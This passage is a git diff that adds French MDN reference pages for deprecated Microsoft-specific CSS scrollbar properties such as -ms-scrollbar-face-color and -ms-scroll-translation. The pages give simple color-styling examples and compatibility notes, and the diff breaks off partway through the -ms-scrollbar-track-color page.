diff --git a/files/fr/web/css/-ms-scroll-translation/index.html b/files/fr/web/css/-ms-scroll-translation/index.html
new file mode 100644
index 0000000000..0246236b59
--- /dev/null
+++ b/files/fr/web/css/-ms-scroll-translation/index.html
@@ -0,0 +1,54 @@
+---
+title: '-ms-scroll-translation'
+slug: Web/CSS/-ms-scroll-translation
+tags:
+  - CSS
+  - Non-standard
+  - Reference
+translation_of: Archive/Web/CSS/-ms-scroll-translation
+---
+<div>{{CSSRef}}{{non-standard_header}}</div>
+
+<p>La propriété CSS <strong><code>-ms-scroll-translation</code></strong> est <a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">une propriété spécifique à Microsoft</a> qui indique si une translation verticale / horizontale est appliquée lors du défilement sur l'élément ciblé.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Values" name="Values">Valeurs</h3>
+
+<dl>
+ <dt><code>vertical-to-horizontal</code></dt>
+ <dd>
+ <p>Une translation verticale/horizontale est appliquée lorsque c'est pertinent.</p>
+ </dd>
+ <dt><code>none</code></dt>
+ <dd>
+ <p>Aucune translation n'est appliquée. C'est la valeur initiale pour l'élément {{HTMLElement("html")}}.</p>
+ </dd>
+ <dt><code>inherit</code></dt>
+ <dd>
+ <p>La valeur initiale : la valeur de la propriété est héritée via la valeur de l'élément parent.</p>
+ </dd>
+</dl>
+
+<h3 id="Formal_syntax" name="Formal_syntax">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété spécifique et ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Remarks" name="Remarks"><a name="Remarks">Notes</a></h2>
+
+<p>Cette propriété est disponible à partir de Windows 8. Elle n'a aucun effet pour les éléments qui ne permettent pas d'utiliser un ascenseur</p>
+
+<p>Si le code JavaScript de la page écoute les évènements DOM liés au défilement, les évènements relatifs au défilement vertical et au défilement horizontal sont distincts et correspondent à l'axe selon lequel l'utilisateur a défilé. La propriété <code>-ms-scroll-translation</code>, avec la valeur <code>vertical-to-horizontal</code>, permet de transformer les évènements de défilement vertical en évènements de défilement horizontal.</p>
+
+<p>Cette propriété n'a pas d'impact lorsqu'on navigue avec le clavier.</p>
+
+<p>Les modèles CSS par défaut pour les applications Windows qui utilisent JavaScript, "ui-light.css" et "ui-dark.css" utilisent la valeur <code>vertical-to-horizontal</code> sur l'élément {{HTMLElement("html")}}.</p>
diff --git a/files/fr/web/css/-ms-scrollbar-3dlight-color/index.html b/files/fr/web/css/-ms-scrollbar-3dlight-color/index.html
new file mode 100644
index 0000000000..5caa81ebc2
--- /dev/null
+++ b/files/fr/web/css/-ms-scrollbar-3dlight-color/index.html
@@ -0,0 +1,75 @@
+---
+title: '-ms-scrollbar-3dlight-color'
+slug: Web/CSS/-ms-scrollbar-3dlight-color
+tags:
+  - CSS
+  - Déprécié
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-ms-scrollbar-3dlight-color
+---
+<div>{{CSSRef}}{{Non-standard_header}}{{Deprecated_Header}}</div>
+
+<p>La propriété <code><strong>-ms-scrollbar-3dlight-color</strong></code> est <a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">une propriété spécifique à Microsoft</a> qui définit la couleur pour les bords haut et gauche de la boîte de défilement et pour les flèches de la barre de défilement.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La valeur de <code>-ms-scrollbar-3dlight-color</code> est définie avec une couleur.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;color&gt;</code></dt>
+ <dd>
+ <p>Une couleur (cf. type {{cssxref("&lt;color&gt;")}}) qui sera utilisée pour les bords gauche et haut de la boîte de défilement et pour les flèches de l'ascenseur.</p>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>L'exemple qui suit illustre comment appliquer la propriété <code>-ms-scrollbar-3dlight-color</code> à un élément {{HTMLElement("textarea")}}.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;textarea class="Blue3dLight"&gt;
+  The top and left edges of the thumb and
+  button-face elements in the scroll bar for
+  this element will be blue.
+&lt;/textarea&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.Blue3dLight {
+  -ms-scrollbar-3dlight-color: blue;
+  scrollbar-3dlight-color: blue; /* Use the standard when available. */
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.-ms-scrollbar-3dlight-color")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété spécifique et ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Cette propriété est disponible à partir de Internet Explorer 8.</p>
+
+<p>La boîte de défilement est la boîte carrée dans laquelle une barre de défilement peut être déplacée de haut en bas ou de gauche à droite afin de modifier la position du contenu sur l'écran. Les flèches de défilement sont situées aux extrémités de l'ascenseur et permettent de faire défiler le contenu.</p>
+
+<p>Cette propriété s'applique aux éléments qui affichent un ascenseur (notamment via la propriété {{cssxref("overflow")}}).</p>
diff --git a/files/fr/web/css/-ms-scrollbar-arrow-color/index.html b/files/fr/web/css/-ms-scrollbar-arrow-color/index.html
new file mode 100644
index 0000000000..cc67bd8bde
--- /dev/null
+++ b/files/fr/web/css/-ms-scrollbar-arrow-color/index.html
@@ -0,0 +1,95 @@
+---
+title: '-ms-scrollbar-arrow-color'
+slug: Web/CSS/-ms-scrollbar-arrow-color
+tags:
+  - CSS
+  - Déprécié
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-ms-scrollbar-arrow-color
+---
+<div>{{CSSRef}}{{Non-standard_header}}{{Deprecated_Header}}</div>
+
+<p>La propriété CSS <code><strong>-ms-scrollbar-arrow-color</strong></code> est une propriété <a href="/en-US/docs/Web/CSS/Microsoft_CSS_extensions">spécifique à Microsoft</a> qui définit la couleur des flèches pour les extrêmités des barres de défilement.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;color&gt;</code></dt>
+ <dd>
+ <p>La couleur à utiliser pour les flèches des barres de défilement, voir {{cssxref("&lt;color&gt;")}}.</p>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>L'exemple qui suit illustre comment utiliser <code>-ms-scrollbar-arrow-color</code> et {{cssxref("-ms-scrollbar-face-color")}} afin d'afficher une boîte avec une barre de défilement avec un curseur et des flèches bleues d'une part et une boîte avec une barre de défilement avec un curseur et des flèches vertes d'autre part.</p>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  width: 150px;
+  height: 150px;
+  overflow-y: scroll;
+  border-style: solid;
+  border-width: thin;
+  font-family: sans-serif;
+  float: left;
+  margin-right: 10px;
+}
+.blueScrollBox {
+  scrollbar-face-color: blue;
+  scrollbar-arrow-color: blue;
+}
+.greenScrollBox {
+  scrollbar-face-color: green;
+  scrollbar-arrow-color: green;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;body&gt;
+  &lt;div class="blueScrollBox"&gt;
+    Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.
+  &lt;/div&gt;
+  &lt;div class="greenScrollBox"&gt;
+    Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.
+  &lt;/div&gt;
+&lt;/body&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<p>Si votre navigateur ne permet de visualiser le résultat, voici une image statique :</p>
+
+<p><img alt="Image for -ms-scrollbar-arrow-color usage example" src="https://mdn.mozillademos.org/files/15824/image002.png" style="height: 168px; width: 330px;"></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété spécifique et ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.-ms-scrollbar-arrow-color")}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Pour IE 8, la propriété <code>-ms-scrollbar-arrow-color</code> est une extension et peut être utilisée comme synonyme de <code>scrollbar-arrow-color</code> en mode standard.</p>
+
+<p>Les flèches de défilement sont présentes sur les boutons situés à chaque extrêmité de la barre de défilement.</p>
+
+<p>Cette propriété s'applique aux éléments affichant une barre de défilement. Pour activer le défilement sur différents éléments, voir la propriété {{cssxref("overflow")}}.</p>
diff --git a/files/fr/web/css/-ms-scrollbar-base-color/index.html b/files/fr/web/css/-ms-scrollbar-base-color/index.html
new file mode 100644
index 0000000000..df5cb77dc5
--- /dev/null
+++ b/files/fr/web/css/-ms-scrollbar-base-color/index.html
@@ -0,0 +1,95 @@
+---
+title: '-ms-scrollbar-base-color'
+slug: Web/CSS/-ms-scrollbar-base-color
+tags:
+  - CSS
+  - Déprécié
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-ms-scrollbar-base-color
+---
+<div>{{CSSRef}}{{Non-standard_header}}{{Deprecated_Header}}</div>
+
+<p>La propriété CSS <code><strong>-ms-scrollbar-base-color</strong></code> est une propriété <a href="/en-US/docs/Web/CSS/Microsoft_CSS_extensions">spécifique à Microsoft</a> qui indique la couleur de base à utiliser pour les principaux composants d'une barre de défilement.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;color&gt;</code></dt>
+ <dd>
+ <p>La couleur de base à utiliser pour les principaux composants de la barre de défilement, voir {{cssxref("&lt;color&gt;")}}.</p>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans cet exemple, on utilise les propriétés <code>-ms-scrollbar-base-color</code> et {{cssxref("-ms-scrollbar-arrow-color")}} afin de créer deux objets {{HTMLElement("div")}} ayant chacun un thème différent pour les barres de défilement.</p>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  width: 150px;
+  height: 150px;
+  border-style: solid;
+  border-width: thin;
+  overflow-y: scroll;
+  font-family: sans-serif;
+  float: left;
+  margin-right: 10px;
+}
+.aquaScroll {
+  scrollbar-base-color: aqua;
+  scrollbar-arrow-color: blue;
+  border-color: blue;
+}
+.bisqueScroll {
+  scrollbar-base-color: bisque;
+  scrollbar-arrow-color: red;
+  border-color: red;
+}
+</pre>
+
+<h3 id="CSS_2">CSS</h3>
+
+<pre class="brush: html">&lt;body&gt;
+  &lt;div class="aquaScroll"&gt;
+    Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.
+  &lt;/div&gt;
+  &lt;div class="bisqueScroll"&gt;
+    Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.
+  &lt;/div&gt;
+&lt;/body&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<p>L'image suivante illustre le résultat obtenu. On voit que <code>scrollbar-base-color</code> fournit une couleur de base et que le navigateur décline cette couleur sur différents tons pour les différents composants.</p>
+
+<p><img alt="Image for -ms-scrollbar-base-color example" src="https://mdn.mozillademos.org/files/15825/image002.png" style="height: 170px; width: 331px;"></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété spécifique et ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.-ms-scrollbar-base-color")}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Pour IE 8 et les versions ultérieures, la propriété <code>-ms-scrollbar-base-color</code> est une extension et peut être utilisée comme synonyme de <code>scrollbar-base-color</code> en mode standard.</p>
+
+<p>Cette propriété s'applique aux éléments affichant une barre de défilement. Pour activer le défilement sur différents éléments, voir la propriété {{cssxref("overflow")}}.</p>
diff --git a/files/fr/web/css/-ms-scrollbar-darkshadow-color/index.html b/files/fr/web/css/-ms-scrollbar-darkshadow-color/index.html
new file mode 100644
index 0000000000..a2346346f6
--- /dev/null
+++ b/files/fr/web/css/-ms-scrollbar-darkshadow-color/index.html
@@ -0,0 +1,71 @@
+---
+title: '-ms-scrollbar-darkshadow-color'
+slug: Web/CSS/-ms-scrollbar-darkshadow-color
+tags:
+  - CSS
+  - Déprécié
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-ms-scrollbar-darkshadow-color
+---
+<div>{{CSSRef}}{{Non-standard_header}}{{Deprecated_Header}}</div>
+
+<p>La propriété <strong><code>-ms-scrollbar-darkshadow-color</code></strong> est <a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">une propriété spécifique à Microsoft</a> qui définit la couleur de la gouttière pour l'ascenseur.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La propriété <code>-ms-scrollbar-darkshadow-color</code> est définie avec une couleur.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;color&gt;</code></dt>
+ <dd>
+ <p>La couleur de la gouttière (cf. le type {{cssxref("&lt;color&gt;")}} pour les valeurs possibles).</p>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;textarea class="BlueShadow"&gt;
+  The gutter elements in the scroll bar for this
+  element will be blue.
+&lt;/textarea&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.BlueShadow {
+  scrollbar-darkshadow-color: blue;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété spécifique et ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.-ms-scrollbar-darkshadow-color")}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Cette propriété est disponible à partir de Internet Explorer 8.</p>
+
+<p>La gouttière est l'espace entre la piste et les bords bas et droit de la boîte de défilement et des flèches de l'ascenseur. La couleur <code>-ms-scrollbar-darkshadow-color</code> apparaît en dehors de {{cssxref("-ms-scrollbar-shadow-color")}}.</p>
+
+<p>Cette propriété s'applique aux éléments qui affichent un ascenseur (notamment via la propriété {{cssxref("overflow")}}).</p>
diff --git a/files/fr/web/css/-ms-scrollbar-face-color/index.html b/files/fr/web/css/-ms-scrollbar-face-color/index.html
new file mode 100644
index 0000000000..6a2929243f
--- /dev/null
+++ b/files/fr/web/css/-ms-scrollbar-face-color/index.html
@@ -0,0 +1,93 @@
+---
+title: '-ms-scrollbar-face-color'
+slug: Web/CSS/-ms-scrollbar-face-color
+tags:
+  - CSS
+  - Non-standard
+  - Obsolete
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-ms-scrollbar-face-color
+---
+<div>{{CSSRef}}{{Non-standard_header}}{{Deprecated_Header}}</div>
+
+<p>La propriété CSS <code><strong>-ms-scrollbar-face-color</strong></code> est une propriété <a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">spécifique à Microsoft</a> qui indique la couleur du curseur de défilement et des flèches de la barre de défilement.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;color&gt;</code></dt>
+ <dd>
+ <p>La couleur à utiliser pour le curseur et les flèches, cf. {{cssxref("&lt;color&gt;")}}.</p>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans cet exemple, on utilise <code>-ms-scrollbar-face-color</code> et {{cssxref("-ms-scrollbar-arrow-color")}} afin de créer deux styles de barre de défilement pour deux boîtes : l'une verte et l'autre bleue.</p>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  width: 150px;
+  height: 150px;
+  overflow-y: scroll;
+  border-style: solid;
+  border-width: thin;
+  font-family: sans-serif;
+  float: left;
+  margin-right: 10px;
+}
+.blueScrollBox {
+  scrollbar-face-color: blue;
+  scrollbar-arrow-color: blue;
+}
+.greenScrollBox {
+  scrollbar-face-color: green;
+  scrollbar-arrow-color: green;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;body&gt;
+  &lt;div class="blueScrollBox"&gt;
+    Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.
+  &lt;/div&gt;
+  &lt;div class="greenScrollBox"&gt;
+    Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.
+  &lt;/div&gt;
+&lt;/body&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<p>L'image qui suit permet d'avoir un aperçu du résultat si votre navigateur n'est pas compatible avec ces fonctionnalités.</p>
+
+<p><img alt="Image for -ms-scrollbar-face-color example" src="https://mdn.mozillademos.org/files/15826/image002.png" style="height: 168px; width: 330px;"></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété spécifique et ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.-ms-scrollbar-face-color")}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Cette fonctionnalité est prise en charge à partir de IE 8. Pour IE 8, la propriété <code>-ms-scrollbar-face-color</code> est une extension et peut être utilisée comme synonyme de <code>scrollbar-face-color</code> en mode standard.</p>
+
+<p>Cette propriété s'applique aux éléments affichant une barre de défilement. Pour activer le défilement sur différents éléments, voir la propriété {{cssxref("overflow")}}.</p>
diff --git a/files/fr/web/css/-ms-scrollbar-highlight-color/index.html b/files/fr/web/css/-ms-scrollbar-highlight-color/index.html
new file mode 100644
index 0000000000..43a0ea824b
--- /dev/null
+++ b/files/fr/web/css/-ms-scrollbar-highlight-color/index.html
@@ -0,0 +1,95 @@
+---
+title: '-ms-scrollbar-highlight-color'
+slug: Web/CSS/-ms-scrollbar-highlight-color
+tags:
+  - CSS
+  - Déprécié
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-ms-scrollbar-highlight-color
+---
+<div>{{CSSRef}}{{Non-standard_header}}{{Deprecated_Header}}</div>
+
+<p>La propriété CSS <code><strong>-ms-scrollbar-highlight-color</strong></code> est une propriété <a href="/en-US/docs/Web/CSS/Microsoft_CSS_extensions">spécifique à Microsoft</a> qui définit la couleur pour la piste et le contour d'une barre de défilement.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;color&gt;</code></dt>
+ <dd>
+ <p>La couleur à utiliser pour le contour et la piste de la barre de défilement, cf. {{cssxref("&lt;color&gt;")}}.</p>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on utilise <code>-ms-scrollbar-highlight-color</code>, {{CSSXref("-ms-scrollbar-face-color")}} ainsi que {{CSSXref("-ms-scrollbar-arrow-color")}} afin de créer deux {{HTMLElement("div")}} ayant chacun un thème différent pour les barres de défilement.</p>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  width: 150px;
+  height: 150px;
+  border-style: solid;
+  border-width: thin;
+  overflow-y: scroll;
+  font-family: sans-serif;
+  float: left;
+  margin-right: 10px;
+}
+.blueScroll {
+  -ms-scrollbar-highlight-color: aqua;
+  -ms-scrollbar-face-color: blue;
+  -ms-scrollbar-arrow-color: blue;
+  border-color: blue;
+}
+.redScroll {
+  -ms-scrollbar-highlight-color: bisque;
+  -ms-scrollbar-face-color: red;
+  -ms-scrollbar-arrow-color: red;
+  border-color: red;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;body&gt;
+  &lt;div class="blueScroll"&gt;
+    Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.
+  &lt;/div&gt;
+  &lt;div class="redScroll"&gt;
+    Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.
+  &lt;/div&gt;
+&lt;/body&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<p>L'image qui suit permet d'avoir un aperçu du résultat si votre navigateur n'est pas compatible avec ces fonctionnalités.</p>
+
+<p><img alt="Image for -ms-scrollbar-highlight-color example" src="https://mdn.mozillademos.org/files/15827/Image%20for%20example.png" style="height: 166px; width: 328px;"></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété spécifique et ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.-ms-scrollbar-highlight-color")}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Pour IE 8, la propriété <code>-ms-scrollbar-highlight-color</code> est une extension et peut être utilisée comme synonyme de <code>scrollbar-highlight-color</code> en mode standard.</p>
+
+<p>Cette propriété s'applique aux éléments affichant une barre de défilement. Pour activer le défilement sur différents éléments, voir la propriété {{cssxref("overflow")}}.</p>
diff --git a/files/fr/web/css/-ms-scrollbar-shadow-color/index.html b/files/fr/web/css/-ms-scrollbar-shadow-color/index.html
new file mode 100644
index 0000000000..126fe6fb7f
--- /dev/null
+++ b/files/fr/web/css/-ms-scrollbar-shadow-color/index.html
@@ -0,0 +1,73 @@
+---
+title: '-ms-scrollbar-shadow-color'
+slug: Web/CSS/-ms-scrollbar-shadow-color
+tags:
+  - CSS
+  - Déprécié
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-ms-scrollbar-shadow-color
+---
+<div>{{CSSRef}}{{Non-standard_header}}{{Deprecated_Header}}</div>
+
+<p>La propriété <code><strong>-ms-scrollbar-shadow-color</strong></code> est <a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">une propriété spécifique à Microsoft</a> qui définit la couleur pour les bords bas et droit de la boîte de défilement et pour les flèches de la barre de défilement.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La valeur de <code>-ms-scrollbar-shadow-color</code> est définie avec une couleur.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;color&gt;</code></dt>
+ <dd>
+ <p>Une couleur (cf. type {{cssxref("&lt;color&gt;")}}) qui sera utilisée pour les bords droit et bas de la boîte de défilement et pour les flèches de l'ascenseur.</p>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>L'exemple qui suit illustre comment appliquer la propriété <code>-ms-scrollbar-shadow-color</code> à un élément {{HTMLElement("textarea")}}.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;textarea class="BlueShadow"&gt;
+ Placeat reiciendis impedit quo qui ea et. Cum quia aut
+ non ut est ducimus necessitatibus
+&lt;/textarea&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.BlueShadow {
+  -ms-scrollbar-shadow-color: blue;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété spécifique et ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.-ms-scrollbar-shadow-color")}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Cette propriété est disponible à partir de Internet Explorer 8. La propriété <code>-ms-scrollbar-shadow-color</code> est une extension spécifique à CSS et, sous le mode Standard d'IE8, peut être utilisée comme synonyme de <code>scrollbar-shadow-color</code>.</p>
+
+<p>La boîte de défilement est la boîte carrée dans laquelle une barre de défilement peut être déplacée de haut en bas ou de gauche à droite afin de modifier la position du contenu sur l'écran. Les flèches de défilement sont situées aux extrémités de l'ascenseur et permettent de faire défiler le contenu.</p>
+
+<p>Cette propriété s'applique aux éléments qui affichent un ascenseur (notamment via la propriété {{cssxref("overflow")}}).</p>
diff --git a/files/fr/web/css/-ms-scrollbar-track-color/index.html b/files/fr/web/css/-ms-scrollbar-track-color/index.html
new file mode 100644
index 0000000000..557cf14a6b
--- /dev/null
+++ b/files/fr/web/css/-ms-scrollbar-track-color/index.html
@@ -0,0 +1,97 @@
+---
+title: '-ms-scrollbar-track-color'
+slug: Web/CSS/-ms-scrollbar-track-color
+tags:
+  - CSS
+  - Déprécié
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-ms-scrollbar-track-color
+---
+<div>{{CSSRef}}{{Non-standard_header}}{{Deprecated_Header}}</div>
+
+<p>La propriété CSS <strong><code>-ms-scrollbar-track-color</code></strong> est une propriété <a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">spécifique à Microsoft</a> qui permet de définir la couleur de la piste utilisée pour les barres de défilement.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;color&gt;</code></dt>
+ <dd>
+ <p>La couleur à utiliser pour la piste (cf. {{cssxref("&lt;color&gt;")}}).</p>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
